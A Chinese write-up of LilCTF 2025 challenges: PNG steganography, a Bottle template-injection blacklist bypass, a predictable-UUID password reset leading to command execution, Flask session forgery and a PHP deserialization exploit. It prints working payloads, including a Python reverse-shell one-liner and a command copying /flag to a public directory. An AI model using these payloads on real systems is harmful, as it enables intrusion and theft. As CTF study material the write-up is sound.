2025 LilCTF Web部分wp
Misc
PNG Master | Stuck
出题:YanHuoLG
难度:简单
提到隐写,你能想到哪些常见的隐写方式呢?不过我相信misc手的脑洞一定能想到某个基于最低有效位实现的隐写方法吧?哦对了,我可不认为扩展名也是文件名的一部分。(比C3ngH简单)
赛中没做出来,卡在最后flag3了。所以赛后看其他师傅wp复现了一下。
题目共涉及三种隐写方式:LSB,16进制文本末尾额外数据,IDAT块隐写。
flag
base64解码一下得到flag1:
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
LSB再base64得到flag2:
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
IDAT块隐写:
提取之后zlib解压缩:
import zlib
import binascii
with open("D:\\OneDrive\\Desktop\\无标题1", "rb") as f:
id = f.read().hex().upper()
result = binascii.unhexlify(id)
print("原始字节数据:")
print(result)
decompressed = zlib.decompress(result)
print("\n解压后的字节数据:")
print(decompressed)
decompressed_hex = binascii.hexlify(decompressed).decode('utf-8')
print("\n解压后的十六进制数据:")
print(decompressed_hex)
try:
print("\n解压后的字符串:")
print(decompressed.decode('utf-8'))
except UnicodeDecodeError:
print("\n解压结果不是UTF-8编码的文本数据")
try:
print("使用ISO-8859-1编码尝试解码:")
print(decompressed.decode('iso-8859-1'))
except UnicodeDecodeError:
print("无法将解压结果解码为文本")
解压结果看出有PK开头,是压缩包,于是提取保存解压。
拿到hint.txt,零宽字节隐写,得到提示:与文件名xor
flag3: 61733765725f696e5f504e477d
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
flag3: 61733765725f696e5f504e477d
4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d
hex转:LILCTF{Y0u_4r3_Mas7er_in_PNG}
Web
ez_bottle | Solved
(赛后看看:https://www.tremse.cn/2025/04/12/bottle框架的一些特性/#bottle-de-xuan-ran-ji-zhi
https://www.cnblogs.com/LAMENTXU/articles/18805019
出题:0raN9e
难度:简单
能顺利帮瓶子回去嘛
附件源码:
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
# hint: flag in /flag , have a try
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)
def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)
@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if contains_blacklist(content):
return "you are hacker!!!nonono!!!"
try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"
@error(404)
def error404(error):
return "bbbbbboooottle"
@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."
if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)
解题过程
/upload路由有个文件上传的逻辑,但是没有上传处,拷打gpt写了一个html页面上传(后面没用到,权当过程记录):
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>回收站 - 上传</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
background: #fff;
padding: 40px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
width: 450px;
}
h2 { color: #333; margin-bottom: 20px; font-size: 24px; }
.hint { color: #666; font-size: 14px; margin-bottom: 16px; }
.garbage-bins { display: flex; justify-content: center; margin-bottom: 16px; }
.bin {
width: 200px; height: 200px;
background-image: url('/static/back.png');
background-size: contain; background-repeat: no-repeat; background-position: center;
cursor: pointer; transition: transform 0.2s ease, box-shadow 0.2s ease;
border-radius: 12px; border: 2px dashed transparent;
}
.bin:hover { transform: scale(1.05); }
.bin.dragover {
border-color: #4caf50;
box-shadow: 0 0 0 4px rgba(76, 175, 80, 0.15);
transform: scale(1.06);
}
.actions { display: flex; gap: 10px; justify-content: center; margin-top: 8px; }
button, .btn {
padding: 10px 16px; border-radius: 8px; border: none;
background: #4caf50; color: #fff; cursor: pointer; font-size: 14px;
}
button:disabled { background: #9e9e9e; cursor: not-allowed; }
.status { font-size: 13px; color: #555; margin-top: 10px; min-height: 1.2em; }
input[type="file"] { display: none; }
</style>
</head>
<body>
<div class="container">
<h2>瓶子该去哪里</h2>
<p class="hint">点垃圾桶选择文件,或把文件拖到垃圾桶中上传(不再自动提交)。</p>
<!-- 提交到题目给的上传地址 -->
<form id="uploadForm" action="http://challenge.xinshi.fun:41907/upload" method="POST" enctype="multipart/form-data">
<div class="garbage-bins">
<div id="bin" class="bin" title="点击选择文件或拖拽到这里"></div>
</div>
<input id="fileInput" type="file" name="file" />
<div class="actions">
<button id="chooseBtn" type="button">选择文件</button>
<button id="uploadBtn" type="submit" disabled>上传</button>
</div>
<div id="status" class="status"></div>
</form>
</div>
<script>
const bin = document.getElementById('bin');
const fileInput = document.getElementById('fileInput');
const form = document.getElementById('uploadForm');
const chooseBtn = document.getElementById('chooseBtn');
const uploadBtn = document.getElementById('uploadBtn');
const statusEl = document.getElementById('status');
const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB,与后端保持一致
function setStatus(msg) { statusEl.textContent = msg || ''; }
function enableUploadIfReady() {
uploadBtn.disabled = !(fileInput.files && fileInput.files.length > 0);
}
function describeFile(f) {
return `${f.name}(${Math.round(f.size/1024)} KB)`;
}
// 点击垃圾桶或按钮,触发文件选择
bin.addEventListener('click', () => fileInput.click());
chooseBtn.addEventListener('click', () => fileInput.click());
// 选择文件后:只更新状态/启用上传按钮,不自动提交
fileInput.addEventListener('change', () => {
if (fileInput.files && fileInput.files.length > 0) {
const f = fileInput.files[0];
if (f.size > MAX_FILE_SIZE) {
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
fileInput.value = '';
enableUploadIfReady();
return;
}
setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
} else {
setStatus('');
}
enableUploadIfReady();
});
// 拖拽视觉反馈
['dragenter','dragover'].forEach(evt => {
bin.addEventListener(evt, (e) => {
e.preventDefault(); e.stopPropagation();
bin.classList.add('dragover');
});
});
['dragleave','drop'].forEach(evt => {
bin.addEventListener(evt, (e) => {
e.preventDefault(); e.stopPropagation();
bin.classList.remove('dragover');
});
});
// 拖拽放置:只填充文件,不自动提交
bin.addEventListener('drop', (e) => {
if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length > 0) {
const f = e.dataTransfer.files[0];
if (f.size > MAX_FILE_SIZE) {
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
return;
}
// 将拖拽的文件放到 input 上
fileInput.files = e.dataTransfer.files;
setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
enableUploadIfReady();
}
});
// 防止将文件拖进整个窗口时打开
['dragenter','dragover','dragleave','drop'].forEach(evt => {
window.addEventListener(evt, (e) => e.preventDefault());
});
// 提交前提示
form.addEventListener('submit', (e) => {
if (!fileInput.files || fileInput.files.length === 0) {
e.preventDefault();
setStatus('请先选择文件');
return;
}
const f = fileInput.files[0];
if (f.size > MAX_FILE_SIZE) {
e.preventDefault();
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
return;
}
setStatus('正在上传…');
// 继续表单的默认提交
});
</script>
</body>
</html>
源码48行return template(content)
可看出有SSTI,再结合题目提示,应该是bottle框架的相关模板SSTI。
后面发现每次改一下payload都要压缩一次再上传,索性直接本地起个服务完成这一套最后回显结果即可:
import zipfile
import requests
import os
from io import BytesIO
import re
import sys
from flask import Flask, request, jsonify
app = Flask(__name__)
# --- 配置区 ---
# 从您的HTML文件中获取的目标上传URL
upload_url = "http://challenge.xinshi.fun:49072/upload"
# 定义文件名
txt_filename = "1.txt"
zip_filename = "1.zip"
# 性能优化配置
REQUEST_TIMEOUT = 10 # 请求超时时间(秒)
# --- 配置区结束 ---
def create_and_upload_zip(content, url):
"""
将给定的内容写入txt文件,压缩成zip,然后上传到指定URL。
"""
# --- 步骤 1: 将字符串写入 1.txt ---
try:
with open(txt_filename, 'w', encoding='utf-8') as f:
f.write(content)
print(f"成功创建文件 '{txt_filename}' 并写入内容。")
except IOError as e:
print(f"错误:无法写入文件 '{txt_filename}': {e}")
return
# --- 步骤 2: 将 1.txt 压缩成 1.zip ---
try:
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write(txt_filename)
print(f"成功将 '{txt_filename}' 压缩为 '{zip_filename}'。")
except Exception as e:
print(f"错误:压缩文件失败: {e}")
return
# --- 步骤 3: 上传 1.zip 文件 ---
print(f"正在上传 '{zip_filename}' 到 {url} ...")
try:
# 打开zip文件以二进制模式读取
with open(zip_filename, 'rb') as f:
# 构造 multipart/form-data 请求
# 'file' 这个键名来自于HTML中的 <input type="file" name="file" />
files = {'file': (zip_filename, f, 'application/zip')}
# 发送POST请求,设置超时
response = requests.post(url, files=files, timeout=REQUEST_TIMEOUT)
# 打印服务器的响应
print("\n--- 服务器响应 ---")
print(f"状态码: {response.status_code}")
print("响应内容:")
# 使用 response.text 来查看文本响应,如果可能是其他类型,可用 response.content
print(response.text)
print("------------------")
except requests.exceptions.Timeout:
print(f"\n错误:上传超时")
except requests.exceptions.RequestException as e:
print(f"\n错误:上传失败: {e}")
finally:
# --- 步骤 4: 清理本地生成的文件 ---
print("\n清理本地文件...")
try:
if os.path.exists(txt_filename):
os.remove(txt_filename)
print(f"已删除 '{txt_filename}'。")
if os.path.exists(zip_filename):
os.remove(zip_filename)
print(f"已删除 '{zip_filename}'。")
except:
pass
# --- 主程序入口 ---
@app.route('/upload', methods=['GET'])
def upload():
content = request.args.get('content')
if not content:
return "未提供内容", 400
try:
# 创建文件
with open(txt_filename, 'w', encoding='utf-8') as f:
f.write(content)
# 创建zip文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write(txt_filename)
# 上传文件,设置超时
with open(zip_filename, 'rb') as f:
response = requests.post(upload_url, files={"file": (zip_filename, f, 'application/zip')}, timeout=REQUEST_TIMEOUT)
# 解析响应
if response.status_code == 200:
# 从响应中提取MD5值
md5_match = re.search(r'/view/([a-f0-9]+)/1\.txt', response.text)
if md5_match:
md5_value = md5_match.group(1)
# 构造查看文件的URL
view_url = f"http://challenge.xinshi.fun:49072/view/{md5_value}/1.txt"
# 获取文件内容,设置超时
view_response = requests.get(view_url, timeout=REQUEST_TIMEOUT)
if view_response.status_code == 200:
try:
view_content = view_response.content.decode('utf-8')
except UnicodeDecodeError:
view_content = view_response.text
else:
view_content = f"无法获取文件内容,状态码: {view_response.status_code}"
# 只返回文件内容
result = view_content
else:
result = "无法从响应中提取文件路径"
else:
result = f"上传失败,状态码: {response.status_code}"
except requests.exceptions.Timeout:
result = "请求超时"
except requests.exceptions.RequestException as e:
result = f"网络请求错误: {str(e)}"
except Exception as e:
result = f"错误: {str(e)}"
finally:
# 清理文件
try:
if os.path.exists(txt_filename):
os.remove(txt_filename)
if os.path.exists(zip_filename):
os.remove(zip_filename)
except:
pass
return result
@app.route('/result', methods=['GET'])
def result():
file_url = request.args.get('file_url')
if not file_url:
return jsonify({"error": "No file URL provided"}), 400
# 访问远程服务的view路径获取信息2
try:
view_response = requests.get(file_url)
if view_response.status_code == 200:
view_content = view_response.text
else:
view_content = f"Error accessing file: {view_response.status_code}"
except Exception as e:
view_content = f"Error accessing file: {e}"
# 返回信息1和信息2
return jsonify({"message": "File uploaded successfully", "view_info": view_content})
@app.route('/')
def home():
return "欢迎使用上传服务! 使用 /upload?content=你的内容 来上传文件。", 200
if __name__ == "__main__":
app.run(debug=True)
需要绕过黑名单:
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
绷不住了现在5个小时了还没绕过去。。。
看了看模板语法,{{}}可以用% 或者<%%>来代替,但这里尖括号被waf了,所以只能用%,模板语法显示%后面可以直接写一行python代码被执行,我们可以使用分号来达到执行多行的效果。
在没搞清楚语法之前直接继承链在那打了好几个小时,试了很多payload,还在常常是绕waf(绷)。最后翻了一下python中能用来代码执行的库函数,找到了subprocess.run()。
由于本题是无回显的,而且不能反弹shell,所以尝试直接读flag,写入静态目录/static,| tee可用来代替重定向符号。
构造了payload如下:
http://127.0.0.1:5000/upload?content=% import subprocess;subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])
如果回显是空白,说明执行成功了。
访问/static/2.txt即可得到flag 为 LILCTF{80TT13_H4S_8eEN_RecYc1ED}
blade_cc
出题:N1ght
难度:困难
万恶的n1ght,留出了一个反序列化入口,但是他做了黑名单和不出网,你能想办法完成这个挑战吗?
附件:
解题过程
php_jail_is_my_cry | Stuck
出题:Kengwang
难度:中等
PHP Jail is my CRY
请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题
本题不出网, 最终需要执行 /readflag
赛后复现时该读的文章:open_basedir绕过 - Von的博客 | Von Blog
解题过程
Ekko_note | Solved
出题:LamentXU
难度:简单
时间刺客Ekko成功当上了某上市公司的老板。于是他让员工给他写一个只有他能用的RCE接口...... 但是,这个员工写的代码好像有点问题?
题目已在修复依赖环境后重新上线;附件已更新;由于部分队伍在下线前已经下载附件,本题前三血不加分。
Hint: 艾克喜欢新东西…… 好像他的员工也是这样的。uuid.uuid8()不是所有python版本都有哦~
附件源码:
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests
from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session
SERVER_START_TIME = time.time()
# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)
admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai')
class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function
def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('data', '').get('datetime', '')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))
existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))
existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))
hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()
flash('注册成功,请登录', 'success')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))
@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))
return render_template('forgot_password.html')
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')
if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))
reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))
return render_template('reset_password.html')
@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))
if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))
if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))
return render_template('execute_command.html')
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])
if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))
return render_template('admin_settings.html', time_api=user.time_api)
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
解题过程
解法1
根据题目描述和路由来看,最终目的是要触发236行的os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
来RCE。
admin未知,先随便注册个用户进去看看:
点击执行命令之后提示时间要到2066年才会开放该功能,推测可能和底下的当前时间为准。
看到有相关时间调用的api,可知是从这里得到的时间。
而又发现admin/setting路由有api更新相关的逻辑实现:
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])
if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))
return render_template('admin_settings.html', time_api=user.time_api)
所以回来了,我们还是得想办法登录admin账户来实现这些。
注意到有忘记密码功能。
我们现在先阶段性总结一下: 更改密码 -> 登录admin -> 想办法进/admin/settings -> 更新api -> 进命令执行路由RCE
根据hint提示,了解到uuidv8是最新的python3.14才出的,于是google查到一篇最近的讲uuid安全的文章(聊聊python中的UUID安全 - LamentXU - 博客园)里面有说道,a,b,c三个参数不定的话,其实就是伪随机,uuid的值将变得可预测。
安装最新的3.14前瞻版本的python,阅读uuid8源码发现,uuid8调用了random函数,其实是伪随机。
从前面可以推算出服务器建站时间,但是不精确,源码中显示,/server_info路由回显有server_start_time
这正是我们想要的,登录普通用户然后控制台发送fetch('/server_info').then(r => r.json()).then(console.log)
即可拿到server_start_time的精确时间戳,。
脚本(自己本地跑,ai还没有3.14的环境):
import random
import uuid
def padding(username: str) -> int:
b = username.encode('utf-8')
b = (b[:6] if len(b) > 6 else b.ljust(6, b'\x00'))
return int.from_bytes(b, 'big')
seed = 1755370834.1768594 # /server_info 拿到的浮点数
username = "admin" # 目标账号的 username,务必改成正确的
random.seed(seed)
a_val = padding(username)
print(f"padding: {a_val}")
print(str(uuid.uuid8(a=a_val)))
密码也就改成了我们自定义的,然后就可以登录admin账户了。
然后我们在这里更改api接口,从而让时间改为2066之后。
自己搭建api接口,格式参照原接口:{"date":"2025-08-15 23:57:17","weekday":"星期五","timestamp":1755273437,"remark":"任何情况请联系QQ:3295320658 微信服务号:顺成网络"}
from flask import Flask, Response, jsonify
from datetime import datetime
app = Flask(__name__)
@app.get("/api/time")
def alltime():
target_dt = datetime(2067, 7, 5, 19, 20, 29)
return jsonify({
"date": target_dt.strftime("%Y-%m-%d %H:%M:%S"),
"weekday": "星期三",
"timestamp": int(target_dt.timestamp())
})
app.run("0.0.0.0", 5000)
无回显,反弹shell:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",4567));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
flag为:ILCTF{u_H@Ve_10uNd_tHE_r1gH7_TimEIiNE!}
解法2
根据赛后群友讨论,这道题还存在一个非预期解法:Flask-Session伪造。
有点忘了,所以在这里记一下用于备忘:
E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -c ".eJw1zMEKgzAQBNBfaeecg4Yaa36lkRDjbiuoB9c9if_eUOlphuExByLPST4k8K8Dt70ExrS-aYNB0OfAbdDWtUPQhpsG_Wn-TDRnEvm5S3Tu4YI6W1dF246DMle5LIO15Ysz3ctBbzBJTOMyrfCcZiEDFdriNMLbq69pIXjUOL859TMx.aKMv3g.w-peDPRQSAdMp5RaAumcEWWGF8U" -s "your-secret-key-here"
{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': False, 'user_id': 2, 'username': '1'}
E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -t "{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': True, 'user_id': 1, 'username': 'admin'}" -s "your-secret-key-here"
.eJw1zMEKgzAQBNBfaeecgwaNNb_SSIhxtxWqB9c9if_eUOlphuExByJ_krxJ4J8HbnsJTGl90QaDoI-Ru6Cd68agLbcthtP8mWjOJPJzl-hd44I6W1dF256DMle5LKO15Ysz3cvBYDBLTNMyr_D7pmSgQlucJ_j66mtaCB6XOb_ZgDS9.aKM1Qg.IK2q5r0cwxa5yrnSoN1Bc0daczM
Your Uns3r | Solved
出题:Kengwang
难度:简单
我一直在等待你的答案
题目给出源码:
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix;
protected $suffix;
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}
$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}
$user = unserialize($ser);
throw new Exception("nonono!!!");
解题过程
分析关键函数应该是11行include($ser->getToken());
- 初始执行User类中的
__destruct
魔术方法,需要满足$this->username == "admin"
,设置$user->username = true;``我们可以通过php中
true` == 所有字符串的特性来绕过。 - 接下来需要绕过
$ser != $this->value && $ser instanceof Access
,可以通过赋值$user->value = serialize($access);
再经过$ser = unserialize(serialize(unserialize($this->value)));
,使得ser变量成为一个不同于$access
的Access实例,从而绕过。
本地通了!好机会!
但是靶机用这个依旧打不通,难道是靶机的配置也是默认没开? 突然灵机一动,如果本地把最后一行加上呢?试了一下居然打不通了,注释之后又能打通了。意识到这是个问题,要绕过。
https://www.wangan.com/p/7fy7f46cd2c8727f#fastdestruct提前触发魔术方法
省流:throw会不让__destruct执行,删除最后一个括号便可以提前执行从而绕过。
看报错消息,不能用那些伪协议了。但仍然可以直接用路径或者file。
成功包含文件:
flag为:LILCTF{6ONN@_flnD_y#Ur_4nSWer_T0_un53r}
Exp:
<?php
class User
{
public $username;
public $value;
}
class Access
{
protected $prefix;
protected $suffix;
public function __construct($prefix = '/', $suffix = '/../flag')
{
$this->prefix = $prefix;
$this->suffix = $suffix;
}
}
$user = new User();
$access = new Access();
$user->value = serialize($access);
$user->username = true; //弱比较
//以后传参一定只传url版本,不然可能会有问题,就比如这次。。。
echo serialize($user);
echo "\n";
echo urlencode(serialize($user));
?>
我曾有一份工作 | Stuck
出题:晨曦
难度:中等
一次备份,换来的是一张辞职信
flag 在 pre_a_flag
表里
本题允许使用扫描器
解题过程
登录之后有留言板,尝试一下xss:
https://zone.ci/aliyun/ali_nvd/39151.html
漏洞复现-DiscuzX 系列全版本后台SQL注入漏洞_ucenter漏洞-CSDN博客 推测是打越权然后,登录admin,最后sql注入。但是不会(
有找回密码功能,试了试并不能直接找回。
想法:或许能通过普通用户找回密码时候越权呢?
搜索页面有报错